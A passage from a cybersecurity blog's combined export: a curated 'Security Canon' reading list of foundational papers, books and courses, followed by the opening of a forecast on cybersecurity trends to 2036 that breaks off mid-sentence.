# Pwnsy Blog: Full Content > Complete text of all cybersecurity guides published on blog.pwnsy.com. > Part of the pwnsy.com cybersecurity platform. Total posts: 264 Categories: security-fundamentals, bug-bounty, web-security, network-security, privacy, malware, phishing, social-engineering, threat-intel, passwords, incident-response, cryptography, exploitation, ai-security, web3-security, osint, ransomware --- # The Canon: start here ## The Security Canon > The security papers, books, and writeups that have stood the test of time. - URL: https://blog.pwnsy.com/the-security-canon - Date: 2026-06-30 - Updated: 2026-06-30 - Difficulty: intermediate - Category: security-fundamentals - Tags: security-canon, exploitation, cryptography, reading-list, foundational, reference - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Block vs Stream Ciphers: Differences, Modes & Use Cases](https://blog.pwnsy.com/block-vs-stream-ciphers), [Buffer Overflow Explained: Overwriting the Return Address](https://blog.pwnsy.com/buffer-overflow-explained) **The Security Canon is a curated reading list of the papers, books, and writeups that have stood the test of time in security**: the works worth reading before the tools, from foundational design principles through cryptography, exploitation, and the economics of insecurity. If you read only three to begin: Saltzer & Schroeder's design principles (1975), Thompson's *Reflections on Trusting Trust* (1984), and Anderson's *Why Cryptosystems Fail* (1993). *Last reviewed June 2026.* New here? Pair the canon with [where security is headed over the next decade](/cybersecurity-next-10-years) and [the certifications and courses actually worth your time](/best-cybersecurity-certifications). *Book titles link to Amazon. As an Amazon Associate we earn from qualifying purchases, at no extra cost to you. Papers, writeups and courses link to the original source. Every work here is chosen on merit, never because it pays.* ## Security Principles & Foundations - [The Protection of Information in Computer Systems](https://web.mit.edu/Saltzer/www/publications/protection/) · Saltzer & Schroeder, Proc. IEEE (1975) · Defines the eight design principles (least privilege, fail-safe defaults, economy of mechanism, complete mediation, open design) that remain the bedrock of secure system design. - [Reflections on Trusting Trust](https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflectionsonTrustingTrust.pdf) · Ken Thompson, Turing Award Lecture / CACM (1984) · Demonstrates a self-replicating compiler backdoor invisible in source, proving you cannot fully trust code you did not write yourself, all the way down. - [Why Cryptosystems Fail](https://www.cl.cam.ac.uk/~rja14/Papers/wcf.pdf) · Ross Anderson, ACM CCS (1993) · Shows real-world security fails not from broken crypto but from implementation, procedure, and economics, founding the empirical study of security failure. - [The Economics of Information Security](https://www.science.org/doi/10.1126/science.1130992) · Ross Anderson & Tyler Moore, Science (2006) · Reframes insecurity as a problem of misaligned incentives and externalities, launching the field of security economics. - [Users Are Not the Enemy](https://dl.acm.org/doi/10.1145/322796.322806) · Adams & Sasse, CACM (1999) · The seminal usable-security paper showing that unworkable password policies cause the very insecurity they intend to prevent. - [Why Johnny Can't Encrypt: A Usability Evaluation of PGP 5.0](https://people.eecs.berkeley.edu/~tygar/papers/Why_Johnny_Cant_Encrypt/USENIX.pdf) · Whitten & Tygar, USENIX Security (1999) · The first formal user study of a secure system, proving that security that ignores usability simply does not get used; USENIX Test of Time winner. - [Smashing The Stack For Fun And Profit](http://phrack.org/issues/49/14.html) · Aleph One, Phrack 49 (1996) · The article that taught the world stack-based buffer overflow exploitation; the canonical entry point to memory-corruption security. ## Cryptography - [New Directions in Cryptography](https://ee.stanford.edu/~hellman/publications/24.pdf) · Whitfield Diffie & Martin Hellman, IEEE Trans. Information Theory (1976) · Introduces public-key cryptography and the Diffie-Hellman key exchange, inventing the modern field of asymmetric crypto. - [A Method for Obtaining Digital Signatures and Public-Key Cryptosystems](https://people.csail.mit.edu/rivest/Rsapaper.pdf) · Rivest, Shamir & Adleman, CACM (1978) · The RSA cryptosystem, the first practical public-key encryption and signature scheme and still ubiquitous. - [La cryptographie militaire](https://www.petitcolas.net/kerckhoffs/crypto_militaire_1.pdf) · Auguste Kerckhoffs, Journal des sciences militaires (1883) · Origin of Kerckhoffs's principle: a system must be secure even when everything except the key is public knowledge. - [Communication Theory of Secrecy Systems](https://archive.org/download/bstj28-4-656/bstj28-4-656.pdf) · Claude Shannon, Bell System Technical Journal (1949) · Founds the mathematical theory of cryptography, defining perfect secrecy, confusion, and diffusion. - [Probabilistic Encryption](https://www.sciencedirect.com/science/article/pii/0022000084900709) · Goldwasser & Micali, J. Computer and System Sciences (1984) · Introduces semantic security and provable security, the rigorous definitions on which all modern cryptography is built. - [A Future-Adaptable Password Scheme (bcrypt)](https://www.usenix.org/legacy/events/usenix99/provos/provos.pdf) · Niels Provos & David Mazières, USENIX (1999) · Introduces bcrypt, the adaptive cost-factor password hash that set the standard for credential storage. - [Applied Cryptography](https://www.schneier.com/books/applied-cryptography/) · Bruce Schneier (1996) · The book that put working crypto in the hands of a generation of engineers; the reference that built the field's practitioner base. - [Handbook of Applied Cryptography](https://cacr.uwaterloo.ca/hac/) · Menezes, van Oorschot & Vanstone, CRC Press (1996, free online) · The standard academic reference for cryptographic algorithms, protocols, and number theory; rigorous, comprehensive, and one of the most-cited works in the field. - [The Advanced Encryption Standard (Rijndael)](https://www.nist.gov/publications/advanced-encryption-standard-aes) · Daemen & Rijmen / NIST FIPS-197 (2001) · The block cipher that became the world's default symmetric encryption standard. - [Keying Hash Functions for Message Authentication (HMAC)](https://cseweb.ucsd.edu/~mihir/papers/kmd5.pdf) · Bellare, Canetti & Krawczyk, CRYPTO (1996) · Defines HMAC, the provably secure MAC construction underlying TLS, IPsec, and JWTs. - [How to Share a Secret](https://dl.acm.org/doi/10.1145/359168.359176) · Adi Shamir, CACM (1979) · Shamir's secret sharing, the threshold scheme foundational to key management and MPC. ## Memory Corruption & Exploitation - [The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls](https://hovav.net/ucsd/dist/geometry.pdf) · Hovav Shacham, ACM CCS (2007) · Introduces Return-Oriented Programming (ROP), proving W^X and DEP insufficient and defining modern exploitation. - [Getting around non-executable stack (and fix)](https://seclists.org/bugtraq/1997/Aug/63) · Solar Designer, Bugtraq (1997) · The original return-into-libc attack, the conceptual ancestor of ROP and a classic of defense evasion. - [w00w00 on Heap Overflows](https://www.cgsecurity.org/exploit/heaptut.txt) · Matt Conover & the w00w00 Security Team (1999) · The foundational text on heap buffer overflows, the article that opened heap exploitation as a discipline and underpins the later malloc-metadata literature. - [Once upon a free()](http://phrack.org/issues/57/9.html) · anonymous, Phrack 57 (2001) · Seminal exposition of heap exploitation via malloc/free metadata corruption. - [On the Effectiveness of Address-Space Randomization](https://hovav.net/ucsd/dist/asrandom.pdf) · Shacham et al., ACM CCS (2004) · Demonstrates that 32-bit ASLR is brute-forceable, defining the limits of a core mitigation. - [Basic Integer Overflows](http://phrack.org/issues/60/10.html) · blexim, Phrack 60 (2002) · The canonical writeup establishing integer overflows as a first-class vulnerability class. - [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf) · scut / team teso (2001) · The definitive treatment of format-string bugs, a vulnerability class it largely defined and named. - [SoK: Eternal War in Memory](https://oakland31.cs.virginia.edu/papers/4977a048.pdf) · Szekeres, Payer, Wei & Song, IEEE S&P (2013) · Systematizes two decades of memory-corruption attacks and defenses into one enduring map of the field. - [Control-Flow Integrity](https://www.microsoft.com/en-us/research/wp-content/uploads/2005/11/ccs05.pdf) · Abadi, Budiu, Erlingsson & Ligatti, ACM CCS (2005) · Introduces CFI, the principled defense against control-flow hijacking now shipping in mainstream compilers and CPUs. ## Web Application Security - [OWASP Top 10](https://owasp.org/www-project-top-ten/) · OWASP (2003 to present) · The industry-standard consensus list of the most critical web application risks, referenced in countless standards and contracts. - [The Web Application Hacker's Handbook](https://portswigger.net/web-security/web-application-hackers-handbook) · Stuttard & Pinto (2nd ed. 2011) · The definitive practitioner manual for finding and exploiting web vulnerabilities, and the spiritual basis of Burp Suite. - [CERT Advisory CA-2000-02: Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=496186) · CERT Coordination Center (2000) · The advisory that first described and named "cross-site scripting," defining the vulnerability class that has shaped web security ever since. - [NT Web Technology Vulnerabilities (the original SQL injection writeup)](https://phrack.org/issues/54/8) · rain.forest.puppy (Jeff Forristal), Phrack 54 (1998) · The first public demonstration of the technique later named SQL injection, the defining server-side web vulnerability. - [Robust Defenses for Cross-Site Request Forgery](https://seclab.stanford.edu/websec/csrf/csrf.pdf) · Barth, Jackson & Mitchell, ACM CCS (2008) · The paper that systematized CSRF and the token/Origin-header defenses now standard everywhere. - [The Dos and Don'ts of Client Authentication on the Web](https://pdos.csail.mit.edu/papers/webauth:sec10.pdf) · Fu, Sit, Smith & Feamster, USENIX Security (2001) · The canonical analysis of web session/cookie authentication; by breaking real sites it established the rules every secure web auth token follows. - [The Tangled Web: A Guide to Securing Modern Web Applications](https://nostarch.com/tangledweb) · Michał Zalewski (2011) · A rigorous tour of the browser security model's quirks and the same-origin policy by the author of many of its discoveries. ## Operating Systems, Access Control & Trusted Systems - [Secure Computer System: Unified Exposition and Multics Interpretation (Bell-LaPadula)](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/bell76.pdf) · Bell & LaPadula, MITRE (1976) · The formal multilevel-security model for confidentiality ("no read up, no write down") that defined trusted systems. - [Integrity Considerations for Secure Computer Systems (Biba)](https://apps.dtic.mil/sti/citations/ADA039324) · Kenneth Biba, MITRE (1977) · The dual of Bell-LaPadula for integrity, foundational to access-control theory. - [Protection (Lampson's Access Matrix)](https://www.cs.cmu.edu/~rdriley/487/papers/Lampson_1971_Protection.pdf) · Butler Lampson, Princeton (1971) · Introduces the access control matrix, the abstraction behind every ACL and capability system since. - [A Note on the Confinement Problem](https://bwlampson.site/11-Confinement/Abstract.html) · Butler Lampson, CACM (1973) · Names the confinement problem and covert channels, the enduring frame for information-flow and isolation security. - [A Hardware Architecture for Implementing Protection Rings](https://dl.acm.org/doi/10.1145/361011.361070) · Michael Schroeder & Jerome Saltzer, CACM (1972) · Defines protection rings, the privilege-separation model still used by every modern CPU and OS. - [Trusted Computer System Evaluation Criteria (Orange Book)](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/dod85.pdf) · U.S. DoD (1985) · The first formal security evaluation criteria; its A1-D ratings shaped decades of high-assurance systems. - [The Flask Security Architecture (SELinux)](https://www.cs.cmu.edu/~dga/papers/flask-usenixsec99.pdf) · Spencer, Smalley, Loscocco et al., USENIX Security (1999) · The flexible mandatory-access-control architecture that became SELinux and mainstream OS sandboxing. - [setuid Demystified](https://people.eecs.berkeley.edu/~daw/papers/setuid-usenix02.pdf) · Chen, Wagner & Dean, USENIX Security (2002) · The definitive analysis of Unix privilege management's confusing and dangerous corners. ## Landmark Attacks, Malware & Worms - [With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988](https://www.cs.unc.edu/~jeffay/courses/nidsS05/attacks/seely-RTMworm-89.html) · Eichin & Rochlis, IEEE S&P (1989) · The forensic dissection of the Morris Worm, the first internet-scale attack and the event that birthed CERT. - [W32.Stuxnet Dossier](https://docs.broadcom.com/doc/security-response-w32-stuxnet-dossier-11-en) · Falliere, Murchu & Chien, Symantec (2011) · The exhaustive reverse-engineering of Stuxnet, the first malware to physically damage industrial infrastructure. - [To Kill a Centrifuge](https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf) · Ralph Langner (2013) · The analysis that decoded Stuxnet's payload and its sabotage of Iranian nuclear centrifuges, defining cyber-physical warfare. - [Conficker Working Group: Lessons Learned](https://www.confickerworkinggroup.org/wiki/uploads/Conficker_Working_Group_Lessons_Learned_17_June_2010_final.pdf) · Conficker Working Group (2010) · The retrospective on coordinated takedown of one of history's largest botnets, a template for collective defense. - [How to 0wn the Internet in Your Spare Time](https://www.usenix.org/conference/11th-usenix-security-symposium/how-own-internet-your-spare-time) · Staniford, Paxson & Weaver, USENIX Security (2002) · The foundational model of worm propagation, introducing hit-list, permutation, and flash worms and framing internet-scale malware for a generation. - [An Inquiry into the Nature and Causes of the Wealth of Internet Miscreants](https://cseweb.ucsd.edu/~savage/papers/CCS07.pdf) · Franklin, Paxson, Perrig & Savage, ACM CCS (2007) · The landmark measurement of the underground economy that reframed cybercrime as a market. ## Hardware, Microarchitecture & Side-Channel Attacks - [Spectre Attacks: Exploiting Speculative Execution](https://spectreattack.com/spectre.pdf) · Kocher, Horn, Genkin et al., IEEE S&P (2019) · Reveals that speculative execution leaks secrets across security boundaries, breaking a foundational CPU assumption. - [Meltdown: Reading Kernel Memory from User Space](https://meltdownattack.com/meltdown.pdf) · Lipp, Schwarz, Gruss et al., USENIX Security (2018) · Shows out-of-order execution lets userspace read all of kernel memory, forcing a global OS redesign (KPTI). - [Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems](https://paulkocher.com/doc/TimingAttacks.pdf) · Paul Kocher, CRYPTO (1996) · Founds the field of side-channel cryptanalysis by extracting keys from execution time alone. - [Differential Power Analysis](https://paulkocher.com/doc/DifferentialPowerAnalysis.pdf) · Kocher, Jaffe & Jun, CRYPTO (1999) · Extracts secret keys from a device's power consumption, defining the side-channel threat for all embedded crypto. - [Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack](https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-yarom.pdf) · Yarom & Falkner, USENIX Security (2014) · The cache-timing technique that became the standard primitive for cross-VM and cross-process key recovery. - [Flipping Bits in Memory Without Accessing Them (Rowhammer)](https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf) · Kim et al., ISCA (2014) · Discovers that repeated DRAM access flips bits in adjacent rows, turning a reliability flaw into a privilege-escalation weapon. ## Network & Protocol Security - [Security Problems in the TCP/IP Protocol Suite](http://www.cs.columbia.edu/~smb/papers/ipext.pdf) · Steven M. Bellovin, ACM CCR (1989) · The paper that catalogued the design-level insecurities of TCP/IP · spoofing, sequence prediction, and more · decades before they were widely exploited. - [A Weakness in the 4.2BSD Unix TCP/IP Software](https://www.cs.umd.edu/class/spring2003/cmsc434-0101/MUIseum/applications/morris-weakness.pdf) · Robert T. Morris, AT&T Bell Labs (1985) · The foundational description of TCP sequence-number prediction and connection spoofing. - [The Transport Layer Security (TLS) Protocol Version 1.3](https://datatracker.ietf.org/doc/html/rfc8446) · E. Rescorla, RFC 8446 (2018) · The modern TLS spec that secures the bulk of internet traffic, the product of decades of protocol-security lessons. - [Tor: The Second-Generation Onion Router](https://www.usenix.org/conference/13th-usenix-security-symposium/tor-second-generation-onion-router) · Dingledine, Mathewson & Syverson, USENIX Security (2004) · The design paper for Tor, the defining system for anonymous communication and a touchstone of privacy engineering. - [Your Botnet is My Botnet: Analysis of a Botnet Takeover (Torpig)](https://sites.cs.ucsb.edu/~chris/research/doc/ccs09_botnet.pdf) · Stone-Gross et al., ACM CCS (2009) · A landmark empirical hijack of a live botnet that illuminated command-and-control and credential theft at scale. ## Practitioner Books & Reference Canon - [Security Engineering: A Guide to Building Dependable Distributed Systems](https://www.amazon.com/dp/1119642787?tag=endtimsce-20) · Ross Anderson (3rd ed. 2020, freely online) · The single most comprehensive treatment of security as an engineering discipline; the field's standard reference text. - [The Art of Software Security Assessment](https://www.amazon.com/dp/0321444426?tag=endtimsce-20) · Dowd, McDonald & Schuh (2006) · The definitive 1,200-page manual on auditing C/C++ code for vulnerabilities, still the gold standard for code review. - [Hacking: The Art of Exploitation](https://www.amazon.com/dp/1593271441?tag=endtimsce-20) · Jon Erickson (2nd ed. 2008) · The book that taught countless beginners exploitation from first principles, with a hands-on Linux environment. - [Computer Security: Art and Science](https://www.amazon.com/dp/0201440997?tag=endtimsce-20) · Matt Bishop (2002) · The rigorous academic textbook unifying security models, policy, and assurance for a generation of students. - [Secrets and Lies: Digital Security in a Networked World](https://www.amazon.com/dp/0471253111?tag=endtimsce-20) · Bruce Schneier (2000) · The book where Schneier reframed security as risk management and process rather than a product, shaping industry thinking. - [The Art of Deception: Controlling the Human Element of Security](https://www.amazon.com/dp/076454280X?tag=endtimsce-20) · Kevin Mitnick & William Simon (2002) · The defining popular work on social engineering, establishing the human as the weakest link. - [The Shellcoder's Handbook](https://www.amazon.com/dp/047008023X?tag=endtimsce-20) · Anley, Heasman, Lindner & Richarte (2nd ed. 2007) · The canonical deep dive on discovering and writing exploits across platforms. - [Reversing: Secrets of Reverse Engineering](https://www.amazon.com/dp/0764574817?tag=endtimsce-20) · Eldad Eilam (2005) · The foundational text on reverse-engineering software that trained a generation of malware analysts. - [The Art of Memory Forensics](https://www.amazon.com/dp/1118825098?tag=endtimsce-20) · Ligh, Case, Levy & Walters (2014) · The definitive text on memory forensics and incident response, the standard reference for analyzing RAM to detect stealth malware. ## Landmark Vulnerabilities & Writeups - [The Matter of Heartbleed](https://jhalderm.com/pub/papers/heartbleed-imc14.pdf) · Durumeric, Kasten, Adrian, Halderman et al., ACM IMC (2014) · The rigorous Internet-wide measurement of the OpenSSL Heartbleed flaw (CVE-2014-0160) · its exposure, exploitation surface, and global patching response · the definitive empirical study of a critical vulnerability's impact. - [Shellshock · CVE-2014-6271](https://nvd.nist.gov/vuln/detail/CVE-2014-6271) · Stéphane Chazelas / Chet Ramey (2014) · The 25-year-old Bash environment-variable bug that exposed how deep and old critical flaws can run in core infrastructure. - [Data Protection: Actions Taken by Equifax and Federal Agencies in Response to the 2017 Breach](https://www.gao.gov/assets/gao-18-559.pdf) · U.S. GAO (GAO-18-559, 2018) · The authoritative post-mortem of the Apache Struts (CVE-2017-5638) breach, the textbook case study in patch-management failure. - [Log4Shell: RCE in Apache Log4j (CVE-2021-44228)](https://www.lunasec.io/docs/blog/log4j-zero-day/) · LunaSec / community (2021) · The JNDI-injection flaw in a ubiquitous logging library that became the defining software-supply-chain wake-up call. - [The Cuckoo's Egg](https://www.amazon.com/dp/1416507787?tag=endtimsce-20) · Clifford Stoll (1989) · The true-story account of tracking a hacker through a 75-cent accounting error; the original network-intrusion-detection narrative. ## Detection, Defense & Process - [An Intrusion-Detection Model](https://www.cs.colostate.edu/~cs656/reading/ieee-se-13-2.pdf) · Dorothy Denning, IEEE TSE (1987) · The paper that founded intrusion detection as a discipline, introducing anomaly-based monitoring. - [A Sense of Self for Unix Processes](https://www.cs.unm.edu/~forrest/publications/ieee-sp-96-unix.pdf) · Forrest, Hofmeyr, Somayaji & Longstaff, IEEE S&P (1996) · Defines host-based anomaly detection via system-call profiles, the conceptual root of behavioral EDR. - [Bro: A System for Detecting Network Intruders in Real-Time](https://www.icir.org/vern/papers/bro-CN99.pdf) · Vern Paxson, USENIX Security (1998) · The architecture behind Bro/Zeek, the network-security monitor that shaped modern traffic analysis. - [The Base-Rate Fallacy and its Implications for the Difficulty of Intrusion Detection](https://www.cerias.purdue.edu/apps/reports_and_papers/view/2815) · Stefan Axelsson, ACM CCS (1999) · Proves the false-alarm rate is the fundamental limit on intrusion detection, the enduring explanation for why IDS is hard. - [Practical Malware Analysis](https://nostarch.com/malware) · Sikorski & Honig (2012) · The hands-on book that became the standard curriculum for dissecting hostile software. - [The Cyber Kill Chain](https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf) · Hutchins, Cloppert & Amin, Lockheed Martin (2011) · Introduces the intrusion kill chain, the framework that reoriented defense around adversary phases and intelligence. - [MITRE ATT&CK](https://attack.mitre.org/) · MITRE (2015 to present) · The community knowledge base of adversary tactics and techniques that became the lingua franca of detection engineering and red teaming. ## Courses, Talks & Reference Media - [Cryptography I](https://www.coursera.org/learn/crypto) · Dan Boneh / Stanford (Coursera, n.d.) · The free university course that taught applied cryptography to 650,000+ students, the default recommendation for engineers who want to reason about crypto rather than memorize APIs. - [6.858 Computer Systems Security](https://ocw.mit.edu/courses/6-858-computer-systems-security-fall-2014/) · Nickolai Zeldovich, MIT OpenCourseWare (2014) · Full lecture videos, notes, and labs for MIT's graduate systems-security course, the most widely shared self-study syllabus for OS, web, and hardware security. - [pwn.college](https://pwn.college/) · Yan Shoshitaishvili & Connor Nelson, Arizona State University (2020) · The open "cybersecurity dojo" of 1,000+ hands-on challenges that became the de facto global curriculum for learning binary exploitation and reverse engineering. - [Binary Exploitation / Memory Corruption](https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN) · LiveOverflow (n.d.) · The YouTube series that introduced a generation to practical memory-corruption exploitation, the most-linked video starting point for self-taught pwners. - [The Cryptopals Crypto Challenges](https://cryptopals.com/) · Matasano / NCC Group (n.d.) · Eight progressively harder sets of real-world crypto-breaking exercises; the canonical way practitioners learn why textbook crypto fails in practice. - [SSL and the Future of Authenticity](https://www.youtube.com/watch?v=Z7Wl2FW2TcA) · Moxie Marlinspike, Black Hat USA (2011) · The landmark talk that dismantled the certificate-authority trust model and named "trust agility," still cited in every debate about PKI and HTTPS authenticity. - [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework) · NIST (2014 to present) · The Identify-Protect-Detect-Respond-Recover (and now Govern) taxonomy that became the common language for organizing and communicating cybersecurity programs worldwide. - [Common Weakness Enumeration (CWE)](https://cwe.mitre.org/) · MITRE (2006 to present) · The standard catalog of software and hardware weakness types, with the annual Top 25, that underpins how vulnerability root causes are classified and discussed. - [CVSS Specification](https://www.first.org/cvss/) · FIRST (2005 to present) · The Common Vulnerability Scoring System spec, the universal 0-10 severity standard every advisory, scanner, and patch-priority decision now references. - [National Vulnerability Database (NVD)](https://nvd.nist.gov/) · NIST (2005 to present) · The U.S. government repository of CVE records enriched with CVSS scores and CPE data, the canonical dataset behind nearly all vulnerability-management tooling and research. - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) · OWASP (2014 to present) · The flagship collection of concise, authoritative defensive guidance on specific appsec topics, the most-linked practical reference for secure-coding decisions. - [The Six Dumbest Ideas in Computer Security](https://www.ranum.com/security/computer_security/editorials/dumb/) · Marcus Ranum (2005) · The essay that skewered "default permit," "enumerating badness," and "penetrate and patch," still quoted whenever practitioners argue first principles over security theater. - [Cryptographic Right Answers](https://www.latacora.com/blog/cryptographic-right-answers/) · Latacora / Colin Percival & Thomas Ptacek (2018) · The continually updated "just tell me what to use" guide whose lineage (2009 → 2015 → 2018) is the reflexive link engineers share to steer people away from crypto footguns. - [Why Cryptography Is Harder Than It Looks](https://www.schneier.com/essays/archives/1997/01/why_cryptography_is.html) · Bruce Schneier (1997) · The short essay that crystallized the truth that real systems fail at implementation and process, not algorithms, and seeded a generation's security worldview. - [Nmap Network Scanning](https://nmap.org/book/) · Gordon "Fyodor" Lyon (2009, free online) · The official guide to the Nmap scanner, the foundational open-source network-discovery tool and the standard reference for port scanning and host enumeration. - [Uncover Security Design Flaws Using the STRIDE Approach](https://learn.microsoft.com/en-us/archive/msdn-magazine/2006/november/uncover-security-design-flaws-using-the-stride-approach) · Hernan, Lambert, Ostwald & Shostack, Microsoft (2006) · The article that popularized STRIDE threat modeling, the most widely taught framework for systematically reasoning about design-level threats. ## What is the security canon? The security canon is a curated reading list of the papers, books, and writeups that have most shaped information security and still repay study today. Each entry earned its place by defining a problem, introducing a foundational technique, or changing how the field thinks: not by being recent. It is organized by topic (foundations, cryptography, exploitation, web, operating systems, hardware, detection, and more) so you can go deep in one area or sample broadly. ## What are the most important works to read first? If you read only a handful, start with the field-defining classics: Saltzer & Schroeder's "The Protection of Information in Computer Systems" for design principles, Thompson's "Reflections on Trusting Trust" for the limits of trust, Aleph One's "Smashing the Stack for Fun and Profit" for memory corruption, and Ross Anderson's "Security Engineering" as the single best book-length overview. Together they cover the principles, the canonical attack, and an engineer's worldview. ## Where should a beginner start? Beginners should pair one accessible book with one hands-on resource. Read "Hacking: The Art of Exploitation" or "Security Engineering," then work through a practical track such as pwn.college, the Cryptopals challenges, or MIT's free 6.858 course. Build intuition by doing (exploit a toy binary, break textbook crypto, and analyze a real malware sample) rather than only reading. The body of this list groups entries by topic so you can follow whichever thread interests you most. ## How is this canon maintained? This is an evergreen, periodically reviewed list rather than a news feed. Works are added when they have clearly stood the test of time and demonstrably influenced practice; nothing is included merely because it is new. The list is re-checked on a recurring basis to fix dead links, refresh editions, and add genuinely foundational material, and it is dated at the top so you can see when it was last verified. ## Related guides - [OWASP Top 10 Explained](/owasp-top-10-explained) - [SQL Injection Explained](/sql-injection-explained) - [Network Security Fundamentals](/network-security-fundamentals) - [Incident Response 101](/incident-response-101) - [Encryption Explained](/encryption-explained) --- # Category: security-fundamentals ## The Next 10 Years of Cybersecurity: A Forecast to 2036 > A hype-resistant forecast of cybersecurity to 2036: AI on both sides, the death of passwords, post-quantum migration, deepfakes, and the human factor. - URL: https://blog.pwnsy.com/cybersecurity-next-10-years - Date: 2026-06-29 - Updated: 2026-06-30 - Difficulty: beginner - Category: security-fundamentals - Tags: predictions, ai-security, passkeys, post-quantum, deepfakes, ransomware, zero-trust - Related: [The Security Canon](https://blog.pwnsy.com/the-security-canon), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [The 3-2-1 Backup Strategy: Ransomware-Resistant Backups](https://blog.pwnsy.com/3-2-1-backup-strategy-guide) ### TL;DR - AI arms both sides. Attackers get cheap, scalable, personalized attacks, and defenders get faster detection and triage. The advantage tilts to whoever automates better, and early on that is often the attacker. - Passwords die slowly. Passkeys and phishing-resistant auth become the default, and the password becomes the legacy fallback you are embarrassed to still use. - The post-quantum migration becomes real work. Harvest now, decrypt later makes it urgent before quantum computers can break today's encryption. - Deepfakes move identity fraud from email to voice and video, so the attack arrives as your CEO's face on a video call. - The human stays the weakest link. No amount of AI defense fixes a person who can be tricked, and attackers know it. Cybersecurity forecasts tend to swing between two errors: breathless "AI changes everything" hype and jaded "nothing ever really changes" cynicism. The truth sits in between. The *fundamentals* (phishing, patching, identity, the human) barely move, while the *tooling and scale* on both sides change enormously. This forecast separates the two. The method: extrapolate the trends that have held (automation of both attack and defense, the slow death of passwords, regulation tightening), name the bottlenecks, and mark bets versus guesses. ## Key predictions - **AI arms both sides.** Attackers get cheap, scalable, fluent, personalized social engineering and faster vulnerability discovery. Defenders get faster detection, triage, and response. The edge goes to whoever automates better, and in the near term that is often the attacker, because offense is easier to automate than defense. - **Passwords die slowly.** Passkeys and phishing-resistant authentication become the default for anything that matters. The password becomes the legacy fallback rather than the front door. - **The post-quantum migration becomes real, urgent work.** "Harvest now, decrypt later" means encrypted data stolen today can be broken when quantum computers mature, so the migration to post-quantum cryptography starts well before the threat is live. - **Deepfakes break identity verification.** Voice and video impersonation move fraud beyond email. "I saw and heard them say it" stops being proof. - **Ransomware professionalizes further.** It grows less spray-and-pray and more targeted, data-extortion-driven, and increasingly aimed at supply chains and managed-service providers for leverage. - **Privacy regulation tightens globally**, and compliance becomes a baseline cost of doing business rather than an afterthought. - **The human stays the weakest link**, and the most cost-effective thing you can still do is the boring basics. ## Predictions at a glance | Prediction | Timeframe | Confidence | Why it's likely | | --- | --- | --- | --- | | AI arms both attackers and defenders | 2026-2028 | High | Offense is easier to automate than defense, so cheap, fluent phishing and voice clones scale first while defenders catch up on triage | | Passkeys become default; passwords die slowly | 2026-2028 | High | Phishing-resistant auth is already shipping in banks, email, and major platforms; the password becomes the legacy fallback rather than the front door | | Post-quantum migration becomes urgent work | 2028-2032 | Medium | Standards exist, but rolling them across protocols and certificates is years of engineering, and harvest now, decrypt later forces it to start before the threat is live | | Deepfake identity fraud goes mainstream | 2028-2032 | Medium | Voice and video impersonation turns business-email-compromise into the "CEO on a video call" attack; "I saw and heard them say it" stops being proof | | Ransomware professionalizes further | 2026-2028 | High | Crews keep moving from spray-and-pray to targeted, data-extortion-driven attacks aimed at supply chains and managed-service providers for leverage | | Privacy regulation tightens globally | 2032-2036 | Medium | Brokers and breaches keep feeding targeted attacks, pushing data minimization and removal from niche to baseline cost of doing business | | The human stays the weakest link | 2032-2036 | High | The same failures (reused passwords, tricked users, unpatched systems) cause most breaches decade after decade, and new tech changes the scale rather than the mechanism | ## How to read a security forecast Two rules. **First, separate capability from incentive.** Attackers do what is *cheap and profitable* rather than what is most sophisticated, so the threats that scale are the ones that pay. **Second, the fundamentals are durable.** The same failures (unpatched systems, reused passwords, tricked humans, exposed secrets) cause most breaches decade after decade. New tech changes the *scale and polish* of attacks far more than the underlying mechanism. ## The near term: 2026-2028 **AI-powered attacks scale (high confidence).** The first wave is *mundane attacks made cheap and flawless* rather than sci-fi autonomous hacking. Phishing with no grammar tells, personalized to you from scraped data, voice clones of your boss, and convincing fake support sites at scale (see [AI phishing attacks](/ai-phishing-attacks) and [AI voice cloning scams](/ai-voice-cloning-scams)). The defense is unglamorous and effective: phishing-resistant auth and verification habits that go beyond spotting the typo. **Passkeys cross over (high confidence).** Phishing-resistant authentication becomes the default for banks, email, and major platforms. If you are still relying on passwords alone, this is the decade you stop. A [password manager](/best-password-managers) plus passkeys and [hardware security keys](/best-hardware-security-keys) becomes the normal setup rather than the paranoid one. **Defenders automate triage (high confidence).** AI does the first pass on alerts, log analysis, and incident triage, handling the volume that drowns analysts rather than replacing them. The teams that adopt this well pull ahead, and the ones that do not stay buried in alerts. ## The mid term: 2028-2032 **The post-quantum migration turns from paper into a project (medium-high confidence).** Standards exist; the work is rolling them out across protocols, certificates, and systems before quantum computers can break today's public-key crypto. "Harvest now, decrypt later" makes long-lived secrets the priority. This is years of unglamorous engineering, and it starts in earnest this window. **Deepfake identity fraud goes mainstream (medium-high confidence).** Voice and video impersonation become a standard tool for business-email-compromise-style fraud, the "CEO on a video call authorizing a wire" attack. Verification shifts from "does it look and sound real" to out-of-band confirmation and cryptographic identity (see [deepfake detection](/deepfake-detection-guide)). Trust in raw audio and video erodes. **Supply-chain and identity become the main battlegrounds (high confidence).** Attackers keep moving up the leverage chain, compromising one vendor, software dependency, or identity provider to reach 